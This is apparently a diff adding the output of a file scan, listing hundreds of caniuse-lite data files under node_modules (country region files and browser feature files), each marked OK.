+/scan/node_modules/caniuse-lite/data/regions/BG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PF.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MX.js: OK
+/scan/node_modules/caniuse-lite/data/regions/JE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TC.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GB.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/VG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/WF.js: OK
+/scan/node_modules/caniuse-lite/data/regions/EG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MY.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/UZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ZA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BB.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/YE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LY.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AF.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/alt-oc.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CF.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ID.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/EC.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SC.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ME.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BF.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/alt-sa.js: OK
+/scan/node_modules/caniuse-lite/data/regions/UY.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BY.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LB.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/UA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SD.js: OK
+/scan/node_modules/caniuse-lite/data/regions/VE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CY.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NF.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/VA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GD.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SY.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AX.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TD.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CD.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NC.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BD.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/alt-na.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GY.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PY.js: OK
+/scan/node_modules/caniuse-lite/data/regions/EE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/RE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LC.js: OK
+/scan/node_modules/caniuse-lite/data/regions/QA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PA.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MC.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AD.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/DE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CX.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/alt-af.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MP.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/US.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BS.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/JM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CK.js: OK
+/scan/node_modules/caniuse-lite/data/regions/YT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/FJ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AW.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SV.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MH.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/FR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NL.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/IQ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NP.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/IM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AS.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/HU.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BW.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TW.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/DJ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ML.js: OK
+/scan/node_modules/caniuse-lite/data/regions/WS.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ER.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/FO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KP.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/IL.js: OK
+/scan/node_modules/caniuse-lite/data/regions/HT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MU.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PW.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GW.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TV.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CV.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KH.js: OK
+/scan/node_modules/caniuse-lite/data/regions/DK.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LU.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SK.js: OK
+/scan/node_modules/caniuse-lite/data/regions/IT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/RS.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ZM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ES.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/JP.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MQ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/RO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/OM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PS.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NU.js: OK
+/scan/node_modules/caniuse-lite/data/regions/FK.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TJ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/alt-eu.js: OK
+/scan/node_modules/caniuse-lite/data/regions/RW.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PK.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BJ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/VN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/DO.js: OK
+/scan/node_modules/caniuse-lite/data/agents.js: OK
+/scan/node_modules/caniuse-lite/data/features.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-overflow.js: OK
+/scan/node_modules/caniuse-lite/data/features/es6-number.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-marker-pseudo.js: OK
+/scan/node_modules/caniuse-lite/data/features/mediasource.js: OK
+/scan/node_modules/caniuse-lite/data/features/object-values.js: OK
+/scan/node_modules/caniuse-lite/data/features/http3.js: OK
+/scan/node_modules/caniuse-lite/data/features/asmjs.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-grid.js: OK
+/scan/node_modules/caniuse-lite/data/features/filereadersync.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-autofill.js: OK
+/scan/node_modules/caniuse-lite/data/features/rtcpeerconnection.js: OK
+/scan/node_modules/caniuse-lite/data/features/webworkers.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-background-offsets.js: OK
+/scan/node_modules/caniuse-lite/data/features/hevc.js: OK
+/scan/node_modules/caniuse-lite/data/features/testfeat.js: OK
+/scan/node_modules/caniuse-lite/data/features/url-scroll-to-text-fragment.js: OK
+/scan/node_modules/caniuse-lite/data/features/websockets.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-in-out-of-range.js: OK
+/scan/node_modules/caniuse-lite/data/features/imagecapture.js: OK
+/scan/node_modules/caniuse-lite/data/features/abortcontroller.js: OK
+/scan/node_modules/caniuse-lite/data/features/ime.js: OK
+/scan/node_modules/caniuse-lite/data/features/mathml.js: OK
+/scan/node_modules/caniuse-lite/data/features/filesystem.js: OK
+/scan/node_modules/caniuse-lite/data/features/auxclick.js: OK
+/scan/node_modules/caniuse-lite/data/features/battery-status.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-cross-fade.js: OK
+/scan/node_modules/caniuse-lite/data/features/midi.js: OK
+/scan/node_modules/caniuse-lite/data/features/download.js: OK
+/scan/node_modules/caniuse-lite/data/features/do-not-track.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-container-query-units.js: OK
+/scan/node_modules/caniuse-lite/data/features/passkeys.js: OK
+/scan/node_modules/caniuse-lite/data/features/ogg-vorbis.js: OK
+/scan/node_modules/caniuse-lite/data/features/trusted-types.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-text-box-trim.js: OK
+/scan/node_modules/caniuse-lite/data/features/audiotracks.js: OK
+/scan/node_modules/caniuse-lite/data/features/word-break.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-paint-api.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-exclusions.js: OK
+/scan/node_modules/caniuse-lite/data/features/proxy.js: OK
+/scan/node_modules/caniuse-lite/data/features/xml-serializer.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-regions.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-filter-function.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-optional-pseudo.js: OK
+/scan/node_modules/caniuse-lite/data/features/page-transition-events.js: OK
+/scan/node_modules/caniuse-lite/data/features/audio-api.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-text-spacing.js: OK
+/scan/node_modules/caniuse-lite/data/features/promise-finally.js: OK
+/scan/node_modules/caniuse-lite/data/features/flow-root.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-inputmode.js: OK
+/scan/node_modules/caniuse-lite/data/features/mutationobserver.js: OK
+/scan/node_modules/caniuse-lite/data/features/element-scroll-methods.js: OK
+/scan/node_modules/caniuse-lite/data/features/sql-storage.js: OK
+/scan/node_modules/caniuse-lite/data/features/console-time.js: OK
+/scan/node_modules/caniuse-lite/data/features/css3-boxsizing.js: OK
+/scan/node_modules/caniuse-lite/data/features/hidden.js: OK
+/scan/node_modules/caniuse-lite/data/features/background-repeat-round-space.js: OK
+/scan/node_modules/caniuse-lite/data/features/nav-timing.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-text-justify.js: OK
+/scan/node_modules/caniuse-lite/data/features/permissions-policy.js: OK
+/scan/node_modules/caniuse-lite/data/features/eme.js: OK
+/scan/node_modules/caniuse-lite/data/features/push-api.js: OK
+/scan/node_modules/caniuse-lite/data/features/comparedocumentposition.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-text-wrap-balance.js: OK
+/scan/node_modules/caniuse-lite/data/features/insert-adjacent.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-table.js: OK
+/scan/node_modules/caniuse-lite/data/features/matchesselector.js: OK
+/scan/node_modules/caniuse-lite/data/features/object-entries.js: OK
+/scan/node_modules/caniuse-lite/data/features/web-app-manifest.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-relative-colors.js: OK
+/scan/node_modules/caniuse-lite/data/features/scrollintoviewifneeded.js: OK
+/scan/node_modules/caniuse-lite/data/features/colr-v1.js: OK
+/scan/node_modules/caniuse-lite/data/features/es5.js: OK
+/scan/node_modules/caniuse-lite/data/features/web-share.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-crisp-edges.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-number.js: OK
+/scan/node_modules/caniuse-lite/data/features/getboundingclientrect.js: OK
+/scan/node_modules/caniuse-lite/data/features/webcodecs.js: OK
+/scan/node_modules/caniuse-lite/data/features/fieldset-disabled.js: OK
+/scan/node_modules/caniuse-lite/data/features/html5semantic.js: OK
+/scan/node_modules/caniuse-lite/data/features/webtransport.js: OK
+/scan/node_modules/caniuse-lite/data/features/broadcastchannel.js: OK
+/scan/node_modules/caniuse-lite/data/features/imports.js: OK
+/scan/node_modules/caniuse-lite/data/features/constraint-validation.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-zoom.js: OK
+/scan/node_modules/caniuse-lite/data/features/avif.js: OK
+/scan/node_modules/caniuse-lite/data/features/http-live-streaming.js: OK
+/scan/node_modules/caniuse-lite/data/features/stream.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-image-set.js: OK
+/scan/node_modules/caniuse-lite/data/features/sxg.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-math-functions.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-container-queries-style.js: OK
+/scan/node_modules/caniuse-lite/data/features/upgradeinsecurerequests.js: OK
+/scan/node_modules/caniuse-lite/data/features/svg-fragment.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-font-rendering-controls.js: OK
+/scan/node_modules/caniuse-lite/data/features/devicepixelratio.js: OK
+/scan/node_modules/caniuse-lite/data/features/resizeobserver.js: OK
+/scan/node_modules/caniuse-lite/data/features/namevalue-storage.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-color-adjust.js: OK
+/scan/node_modules/caniuse-lite/data/features/indexeddb2.js: OK
+/scan/node_modules/caniuse-lite/data/features/fileapi.js: OK
+/scan/node_modules/caniuse-lite/data/features/wbr-element.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-case-insensitive.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-paged-media.js: OK
+/scan/node_modules/caniuse-lite/data/features/getelementsbyclassname.js: OK
+/scan/node_modules/caniuse-lite/data/features/css3-cursors.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-file-multiple.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-gencontent.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-media-range-syntax.js: OK
+/scan/node_modules/caniuse-lite/data/features/webgl2.js: OK
+/scan/node_modules/caniuse-lite/data/features/http2.js: OK
+/scan/node_modules/caniuse-lite/data/features/ruby.js: OK
+/scan/node_modules/caniuse-lite/data/features/mdn-css-unicode-bidi-isolate-override.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-env-function.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-hanging-punctuation.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-when-else.js: OK
+/scan/node_modules/caniuse-lite/data/features/form-submit-attributes.js: OK
+/scan/node_modules/caniuse-lite/data/features/childnode-remove.js: OK
+/scan/node_modules/caniuse-lite/data/features/hashchange.js: OK
+/scan/node_modules/caniuse-lite/data/features/svg-fonts.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-revert-value.js: OK
+/scan/node_modules/caniuse-lite/data/features/font-unicode-range.js: OK
+/scan/node_modules/caniuse-lite/data/features/css3-tabsize.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-has.js: OK
+/scan/node_modules/caniuse-lite/data/features/promises.js: OK
+/scan/node_modules/caniuse-lite/data/features/orientation-sensor.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-cascade-scope.js: OK
+/scan/node_modules/caniuse-lite/data/features/mpeg-dash.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-font-palette.js: OK
+/scan/node_modules/caniuse-lite/data/features/multicolumn.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-sticky.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-textshadow.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-overflow-overlay.js: OK
+/scan/node_modules/caniuse-lite/data/features/bigint.js: OK
+/scan/node_modules/caniuse-lite/data/features/meta-theme-color.js: OK
+/scan/node_modules/caniuse-lite/data/features/array-find.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-subgrid.js: OK
+/scan/node_modules/caniuse-lite/data/features/temporal.js: OK
+/scan/node_modules/caniuse-lite/data/features/requestidlecallback.js: OK
+/scan/node_modules/caniuse-lite/data/features/svg-html.js: OK
+/scan/node_modules/caniuse-lite/data/features/bloburls.js: OK
+/scan/node_modules/caniuse-lite/data/features/cookie-store-api.js: OK
+/scan/node_modules/caniuse-lite/data/features/typedarrays.js: OK
+/scan/node_modules/caniuse-lite/data/features/es6-string-includes.js: OK
+/scan/node_modules/caniuse-lite/data/features/objectrtc.js: OK
+/scan/node_modules/caniuse-lite/data/features/contentsecuritypolicy2.js: OK
+/scan/node_modules/caniuse-lite/data/features/lazyload.js: OK
+/scan/node_modules/caniuse-lite/data/features/permissions-api.js: OK
+/scan/node_modules/caniuse-lite/data/features/documenthead.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-writing-mode.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-widows-orphans.js: OK
+/scan/node_modules/caniuse-lite/data/features/internationalization.js: OK
+/scan/node_modules/caniuse-lite/data/features/will-change.js: OK
+/scan/node_modules/caniuse-lite/data/features/gyroscope.js: OK
+/scan/node_modules/caniuse-lite/data/features/mdn-text-decoration-style.js: OK
+/scan/node_modules/caniuse-lite/data/features/es6-generators.js: OK
+/scan/node_modules/caniuse-lite/data/features/loading-lazy-attr.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-sel3.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-media-scripting.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-file-selector-button.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-focus-within.js: OK
+/scan/node_modules/caniuse-lite/data/features/text-stroke.js: OK
+/scan/node_modules/caniuse-lite/data/features/css3-colors.js: OK
+/scan/node_modules/caniuse-lite/data/features/setimmediate.js: OK
+/scan/node_modules/caniuse-lite/data/features/shadowdom.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-variables.js: OK
+/scan/node_modules/caniuse-lite/data/features/keyboardevent-getmodifierstate.js: OK
+/scan/node_modules/caniuse-lite/data/features/link-rel-modulepreload.js: OK
+/scan/node_modules/caniuse-lite/data/features/jpegxl.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-grid-animation.js: OK
+/scan/node_modules/caniuse-lite/data/features/sharedarraybuffer.js: OK
+/scan/node_modules/caniuse-lite/data/features/document-evaluate-xpath.js: OK
+/scan/node_modules/caniuse-lite/data/features/view-transitions.js: OK
+/scan/node_modules/caniuse-lite/data/features/sdch.js: OK
+/scan/node_modules/caniuse-lite/data/features/viewport-units.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-dir-pseudo.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-conic-gradients.js: OK
+/scan/node_modules/caniuse-lite/data/features/iframe-sandbox.js: OK
+/scan/node_modules/caniuse-lite/data/features/once-event-listener.js: OK
+/scan/node_modules/caniuse-lite/data/features/tls1-3.js: OK
+/scan/node_modules/caniuse-lite/data/features/xhr2.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-initial-letter.js: OK
+/scan/node_modules/caniuse-lite/data/features/domcontentloaded.js: OK
+/scan/node_modules/caniuse-lite/data/features/img-naturalwidth-naturalheight.js: OK
+/scan/node_modules/caniuse-lite/data/features/mediacapture-fromelement.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-repeating-gradients.js: OK
+/scan/node_modules/caniuse-lite/data/features/webp.js: OK
+/scan/node_modules/caniuse-lite/data/features/eventsource.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-multi-memory.js: OK
+/scan/node_modules/caniuse-lite/data/features/flac.js: OK
+/scan/node_modules/caniuse-lite/data/features/subresource-integrity.js: OK
+/scan/node_modules/caniuse-lite/data/features/geolocation.js: OK
+/scan/node_modules/caniuse-lite/data/features/es6-class.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-hyphens.js: OK
+/scan/node_modules/caniuse-lite/data/features/passwordrules.js: OK
+/scan/node_modules/caniuse-lite/data/features/srcset.js: OK
+/scan/node_modules/caniuse-lite/data/features/fetch.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-reflections.js: OK
+/scan/node_modules/caniuse-lite/data/features/xhtml.js: OK
+/scan/node_modules/caniuse-lite/data/features/mdn-text-decoration-color.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-matches-pseudo.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-content-visibility.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-text-orientation.js: OK
+/scan/node_modules/caniuse-lite/data/features/keyboardevent-code.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-media-interaction.js: OK
+/scan/node_modules/caniuse-lite/data/features/user-timing.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-gradients.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-logical-props.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-element-function.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-focus-visible.js: OK
+/scan/node_modules/caniuse-lite/data/features/tabindex-attr.js: OK
+/scan/node_modules/caniuse-lite/data/features/x-frame-options.js: OK
+/scan/node_modules/caniuse-lite/data/features/svg-smil.js: OK
+/scan/node_modules/caniuse-lite/data/features/credential-management.js: OK
+/scan/node_modules/caniuse-lite/data/features/readonly-attr.js: OK
+/scan/node_modules/caniuse-lite/data/features/meter.js: OK
+/scan/node_modules/caniuse-lite/data/features/justify-content-space-evenly.js: OK
+/scan/node_modules/caniuse-lite/data/features/link-rel-dns-prefetch.js: OK
+/scan/node_modules/caniuse-lite/data/features/es6-module-dynamic-import.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-backgroundblendmode.js: OK
+/scan/node_modules/caniuse-lite/data/features/css3-cursors-grab.js: OK
+/scan/node_modules/caniuse-lite/data/features/tls1-2.js: OK
+/scan/node_modules/caniuse-lite/data/features/dialog.js: OK
+/scan/node_modules/caniuse-lite/data/features/spellcheck-attribute.js: OK
+/scan/node_modules/caniuse-lite/data/features/inline-block.js: OK
+/scan/node_modules/caniuse-lite/data/features/object-fit.js: OK
+/scan/node_modules/caniuse-lite/data/features/variable-fonts.js: OK
+/scan/node_modules/caniuse-lite/data/features/webusb.js: OK
+/scan/node_modules/caniuse-lite/data/features/focusin-focusout-events.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-placeholder.js: OK
+/scan/node_modules/caniuse-lite/data/features/dom-manip-convenience.js: OK
+/scan/node_modules/caniuse-lite/data/features/multibackgrounds.js: OK
+/scan/node_modules/caniuse-lite/data/features/apng.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-caret-color.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-threads.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-font-stretch.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-module-scripts.js: OK
+/scan/node_modules/caniuse-lite/data/features/picture.js: OK
+/scan/node_modules/caniuse-lite/data/features/document-currentscript.js: OK
+/scan/node_modules/caniuse-lite/data/features/mdn-text-decoration-line.js: OK
+/scan/node_modules/caniuse-lite/data/features/kerning-pairs-ligatures.js: OK
+/scan/node_modules/caniuse-lite/data/features/document-policy.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-shapes.js: OK
+/scan/node_modules/caniuse-lite/data/features/font-family-system-ui.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-masks.js: OK
+/scan/node_modules/caniuse-lite/data/features/vibration.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-overscroll-behavior.js: OK
+/scan/node_modules/caniuse-lite/data/features/cors.js: OK
+/scan/node_modules/caniuse-lite/data/features/object-observe.js: OK
+/scan/node_modules/caniuse-lite/data/features/template-literals.js: OK
+/scan/node_modules/caniuse-lite/data/features/same-site-cookie-attribute.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-nesting.js: OK
+/scan/node_modules/caniuse-lite/data/features/background-sync.js: OK
+/scan/node_modules/caniuse-lite/data/features/ac3-ec3.js: OK
+/scan/node_modules/caniuse-lite/data/features/svg-img.js: OK
+/scan/node_modules/caniuse-lite/data/features/sni.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-reference-types.js: OK
+/scan/node_modules/caniuse-lite/data/features/sharedworkers.js: OK
+/scan/node_modules/caniuse-lite/data/features/iframe-seamless.js: OK
+/scan/node_modules/caniuse-lite/data/features/viewport-unit-variants.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-text-align-last.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-counters.js: OK
+/scan/node_modules/caniuse-lite/data/features/woff.js: OK
+/scan/node_modules/caniuse-lite/data/features/addeventlistener.js: OK
+/scan/node_modules/caniuse-lite/data/features/svg-filters.js: OK
+/scan/node_modules/caniuse-lite/data/features/dom-range.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-read-only-write.js: OK
+/scan/node_modules/caniuse-lite/data/features/webgl.js: OK
+/scan/node_modules/caniuse-lite/data/features/webxr.js: OK
+/scan/node_modules/caniuse-lite/data/features/js-regexp-lookbehind.js: OK
+/scan/node_modules/caniuse-lite/data/features/matchmedia.js: OK
+/scan/node_modules/caniuse-lite/data/features/date-tolocaledatestring.js: OK
+/scan/node_modules/caniuse-lite/data/features/streams.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-gc.js: OK
+/scan/node_modules/caniuse-lite/data/features/webm.js: OK
+/scan/node_modules/caniuse-lite/data/features/background-img-opts.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-page-break.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-sel2.js: OK
+/scan/node_modules/caniuse-lite/data/features/custom-elements.js: OK
+/scan/node_modules/caniuse-lite/data/features/text-emphasis.js: OK
+/scan/node_modules/caniuse-lite/data/features/svg-css.js: OK
+/scan/node_modules/caniuse-lite/data/features/minmaxwh.js: OK
+/scan/node_modules/caniuse-lite/data/features/payment-request.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-any-link.js: OK
+/scan/node_modules/caniuse-lite/data/features/link-rel-prefetch.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-snappoints.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-print-color-adjust.js: OK
+/scan/node_modules/caniuse-lite/data/features/requestanimationframe.js: OK
+/scan/node_modules/caniuse-lite/data/features/textcontent.js: OK
+/scan/node_modules/caniuse-lite/data/features/path2d.js: OK
+/scan/node_modules/caniuse-lite/data/features/webgpu.js: OK
+/scan/node_modules/caniuse-lite/data/features/mp3.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-image-orientation.js: OK
+/scan/node_modules/caniuse-lite/data/features/css3-cursors-newer.js: OK
